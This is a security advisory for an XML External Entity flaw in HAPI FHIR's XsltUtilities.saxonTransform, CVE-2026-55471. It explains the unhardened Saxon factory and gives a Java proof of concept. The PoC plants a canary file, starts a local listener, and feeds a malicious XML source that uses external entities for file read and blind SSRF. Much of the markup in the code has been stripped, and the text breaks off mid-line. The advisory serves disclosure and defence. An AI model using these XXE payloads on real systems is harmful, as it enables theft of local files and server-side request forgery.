GitHub Advisoryadvisory · Maven
GHSA-2f55-g35j-5jmf HAPI FHIR: XXE in XsltUtilities.saxonTransform via unhardened Saxon TransformerFactory
CRITICAL
Official page ↗
- Aliases
- CVE-2026-55471
- Ecosystem
- Maven
- Packages
- ca.uhn.hapi.fhir:org.hl7.fhir.utilities
- Severity
- Critical
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
- Weaknesses
- CWE-611
- Reviewed
- 2026-06-17
Affected packages
• Maven ca.uhn.hapi.fhir:org.hl7.fhir.utilities: < 6.9.10 → fixed in 6.9.10
Description
Summary
`org.hl7.fhir.utilities.XsltUtilities` exposes two parallel families of XSLT
transform helpers. The `transform(...)` overloads obtain their
`TransformerFactory` from the project's hardened helper
`XMLUtil.newXXEProtectedTransformerFactory()` (which sets
`ACCESS_EXTERNAL_DTD=""` and `ACCESS_EXTERNAL_STYLESHEET=""`). The sibling
`saxonTransform(...)` overloads instead instantiate a bare
`new net.sf.saxon.TransformerFactoryImpl()` with no external-access
restriction. A document transformed through any `saxonTransform(...)` overload
is parsed with external general entities and external DTD/parameter entities
enabled, so an attacker who controls (or can MITM) the transformed XML obtains
XML External Entity injection: local file disclosure and blind XXE / SSRF to
arbitrary URLs reachable from the host.
`XMLUtil` documents that its protected factory "should be the only place where
TransformerFactory is instantiated in this project". The `saxonTransform`
overloads violate that contract while their same-file `transform` siblings
honour it.
Affected versions
`org.hl7.fhir.utilities` (Maven `ca.uhn.hapi.fhir:org.hl7.fhir.utilities`)
` files, byte[] source, byte[] xslt) throws TransformerException {
TransformerFactory f = new net.sf.saxon.TransformerFactoryImpl(); // files, byte[] source, byte[] xslt) throws TransformerException {
TransformerFactory f = org.hl7.fhir.utilities.xml.XMLUtil.newXXEProtectedTransformerFactory(); // `) and external
DTD/parameter entities (``). This is a
classic CWE-611. The asymmetry — one family hardened, the co-located sibling
family bare — is the bug: the protection that already exists in the same class
was not extended to the `saxonTransform` variants.
Reproduction (E2E against published Maven Central `org.hl7.fhir.utilities:6.9.8`)
A self-contained Maven project. `pom.xml` pulls the latest released artifact,
which transitively brings `net.sf.saxon:Saxon-HE:11.6`.
`pom.xml`:
```xml
4.0.0
pocfhir-xslt-xxe-poc1.0
17
17
ca.uhn.hapi.fhir
org.hl7.fhir.utilities
6.9.8
```
`src/main/java/Poc.java`:
```java
import org.hl7.fhir.utilities.XsltUtilities;
import java.io.*;
import java.net.*;
import java.nio.charset.StandardCharsets;
import java.nio.file.*;
import java.util.*;
public class Poc {
static final String CANARY_MARK = "TOP-SECRET-FHIR-XSLT-CANARY-3f9a17c2";
// identity stylesheet: copies the resolved //data text into the output
static final String IDENTITY_XSLT =
"\n" +
"\n" +
" \n" +
" \n" +
"\n";
public static void main(String[] args) throws Exception {
Path secret = Files.createTempFile("fhir-secret-", ".txt");
Files.writeString(secret, CANARY_MARK + " :: " + UUID.randomUUID());
final List oobHits = Collections.synchronizedList(new ArrayList<>());
ServerSocket sentinel = new ServerSocket(0);
int oobPort = sentinel.getLocalPort();
Thread st = new Thread(() -> {
try {
while (!sentinel.isClosed()) {
Socket s = sentinel.accept();
BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream(), StandardCharsets.UTF_8));
String line = r.readLine();
if (line != null) { oobHits.add(line); System.out.println("[SENTINEL] inbound connection: " + line); }
byte[] body = "".getBytes(StandardCharsets.UTF_8); // well-formed empty external DTD
OutputStream os = s.getOutputStream();
os.write(("HTTP/1.1 200 OK\r\nContent-Type: application/xml-dtd\r\nContent-Length: " + body.length + "\r\n\r\n").getBytes());
os.write(body); os.flush(); s.close();
}
} catch (IOException ignored) {}
});
st.setDaemon(true); st.start();
// A1: external general entity -> local secret (file read)
// A2: external parameter entity -> attacker URL (blind XXE / SSRF)
String maliciousSource =
"\n" +
"\n" +
" \n" +
" %oob;\n" +
"]>\n" +
"&canary;\n";
Path srcFile = Files.createTempFile("fhir-malicious-src-", ".xml");
Files.writeString(srcFile, maliciousSource);
Path xsltFile = Files.createTempFile("fhir-identity-", ".xslt");
Files.writeString(xsltFile, IDENTITY_XSLT);
System.out.println("=== Target: org.hl7.fhir.utilities:6.9.8 (XsltUtilities) on JDK " + System.getProperty("java.version") + " ===");
System.out.println("=== Saxon: " + saxonVersion() + " ===");
System.out.println("Secret file: " + secret + " (contains " + CANARY_MARK + ")");
System.out.println("OOB sentinel: http://127.0.0.1:" + oobPort + "/\n");
System.out.println("---- ATTACK: XsltUtilities.saxonTransform(source, xslt) [BARE TransformerFactoryImpl] ----");
try {
String out = XsltUtilities.saxonTransform(srcFile.toString(), xsltFile.toString());
System.out.println("transform output: [" + out.trim() + "]");
System.out.println(out.contains(C…
Related
Alias · CVE (1)
- CVE-2026-55471 HAPI FHIR is a complete implementation of the HL7 FHIR standard for healthcare interoperability in Java. vulnerability
Weakness · CWE (1)
- CWE-611 Improper Restriction of XML External Entity Reference weakness